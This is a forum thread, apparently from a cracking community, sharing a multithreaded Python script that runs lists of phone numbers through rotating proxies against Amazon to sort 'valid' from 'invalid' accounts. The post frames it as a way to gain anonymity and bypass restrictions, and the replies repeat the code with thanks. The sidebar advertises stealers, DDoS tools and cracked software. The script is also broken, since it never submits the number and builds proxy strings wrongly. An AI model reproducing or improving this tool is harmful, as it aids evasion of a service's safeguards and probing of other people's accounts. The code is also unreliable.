Amazon Account Checker Script with Proxies
by Friedx - Saturday June 8, 2024 at 08:35 PM
#1
I've developed a Python script that checks the validity of Amazon account numbers using proxies. It's designed to help verify accounts quickly and efficiently. Here's a brief overview of how it works:

Features:

Uses proxies (HTTP/SOCKS5) for anonymity and bypassing restrictions.
Multi-threaded execution for fast processing.
Generates separate files (valid.txt and invalid.txt) for results.
Requirements:

Python 3.x
requests, tkinter libraries

Code:

import os
import requests
import concurrent.futures
import datetime
import random
import string
import tkinter as tk
from tkinter import filedialog

def check_amazon_account(number, proxy, result_folder):
    url = "https://www.amazon.com/ap/captcha"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"
    }
    proxies = {
        "http": proxy,
        "https": proxy
    }
    try:
        response = requests.get(url, headers=headers, proxies=proxies, timeout=10)
        if response.status_code == 200:
            with open(os.path.join(result_folder, 'valid.txt'), 'a') as f:
                f.write(number + '\n')
            print(f"[VALID] {number}")
        else:
            with open(os.path.join(result_folder, 'invalid.txt'), 'a') as f:
                f.write(number + '\n')
            print(f"[INVALID] {number}")
    except Exception as e:
        print(f"[ERROR] {number}: {e}")

def select_file():
    root = tk.Tk()
    root.withdraw()
    file_path = filedialog.askopenfilename()
    return file_path

def main():
    contact_file = select_file()
    proxy_file = select_file()
    proxy_type = input("Enter the type of proxy (HTTP/SOCKS5): ")
    num_threads = int(input("Enter the number of threads: "))

   
    folder_name = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
    result_folder = os.path.join('result', folder_name)
    os.makedirs(result_folder)

   
    with open(contact_file, 'r') as f:
        numbers = [line.strip() for line in f.readlines()]

   
    with open(proxy_file, 'r') as f:
        proxies = [line.strip() for line in f.readlines()]

    with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
        for number in numbers:
            proxy_info = proxies[random.randint(0, len(proxies)-1)].split(":")
            proxy = f"http://{proxy_info[0]}:{proxy_info[1]}:{proxy_info[2]}:{proxy_info[3]}@{proxy_info[4]}"
            executor.submit(check_amazon_account, number, proxy, result_folder)

if __name__ == "__main__":
    main()

How to Use:

1. Download Python and install the required libraries (requests, tkinter).

2. Run the script.

3. Load the mobile numbers file and then load the proxies file.

Feel free to tweak and improve it as needed. Let me know if you have any questions or suggestions!
Reply
#2
(Jun 08, 2024, 08:35 PM)Friedx Wrote: I've developed a Python script that checks the validity of Amazon account numbers using proxies. It's designed to help verify accounts quickly and efficiently. Here's a brief overview of how it works:

Features:

Uses proxies (HTTP/SOCKS5) for anonymity and bypassing restrictions.
Multi-threaded execution for fast processing.
Generates separate files (valid.txt and invalid.txt) for results.
Requirements:

Python 3.x
requests, tkinter libraries

Code:

import os
import requests
import concurrent.futures
import datetime
import random
import string
import tkinter as tk
from tkinter import filedialog

def check_amazon_account(number, proxy, result_folder):
    url = "https://www.amazon.com/ap/captcha"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"
    }
    proxies = {
        "http": proxy,
        "https": proxy
    }
    try:
        response = requests.get(url, headers=headers, proxies=proxies, timeout=10)
        if response.status_code == 200:
            with open(os.path.join(result_folder, 'valid.txt'), 'a') as f:
                f.write(number + '\n')
            print(f"[VALID] {number}")
        else:
            with open(os.path.join(result_folder, 'invalid.txt'), 'a') as f:
                f.write(number + '\n')
            print(f"[INVALID] {number}")
    except Exception as e:
        print(f"[ERROR] {number}: {e}")

def select_file():
    root = tk.Tk()
    root.withdraw()
    file_path = filedialog.askopenfilename()
    return file_path

def main():
    contact_file = select_file()
    proxy_file = select_file()
    proxy_type = input("Enter the type of proxy (HTTP/SOCKS5): ")
    num_threads = int(input("Enter the number of threads: "))

   
    folder_name = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
    result_folder = os.path.join('result', folder_name)
    os.makedirs(result_folder)

   
    with open(contact_file, 'r') as f:
        numbers = [line.strip() for line in f.readlines()]

   
    with open(proxy_file, 'r') as f:
        proxies = [line.strip() for line in f.readlines()]

    with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
        for number in numbers:
            proxy_info = proxies[random.randint(0, len(proxies)-1)].split(":")
            proxy = f"http://{proxy_info[0]}:{proxy_info[1]}:{proxy_info[2]}:{proxy_info[3]}@{proxy_info[4]}"
            executor.submit(check_amazon_account, number, proxy, result_folder)

if __name__ == "__main__":
    main()

Feel free to tweak and improve it as needed. Let me know if you have any questions or suggestions!

Too bad it doesn't include proxies, but other than that, great stuff!
Reply
#3
It does include the proxy feature, but you need to import your own proxies. If you have any suggestions to improve it, you can do so yourself, as I have already shared it with the public.
Reply
#4
nice work, thanks a lot for this great share.
Reply
#5
If any suggestion to improve this script let me know.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  The first stealer 100% made by AI k0t 192 12,964 8 hours ago
Last Post: afro133700
  DDoS Tool Hi-Feds 548 68,288 Yesterday, 05:15 PM
Last Post: Jllo12324
  BLTools 2.8.3 [Cracked] With 23 - 24 Projects APExploits 124 10,284 Apr 30, 2026, 11:12 AM
Last Post: cloud137
  Download Cobalt Strike 4.9.1 Leukemia 736 108,837 Apr 30, 2026, 07:14 AM
Last Post: custom0x01
  Watch ALL Movies,Series,Anime etc. with subtitles all languages| BETTER THAN NETFLIX kil 218 27,800 Apr 29, 2026, 02:53 PM
Last Post: amayonaise

Forum Jump:


 Users browsing this forum: 1 Guest(s)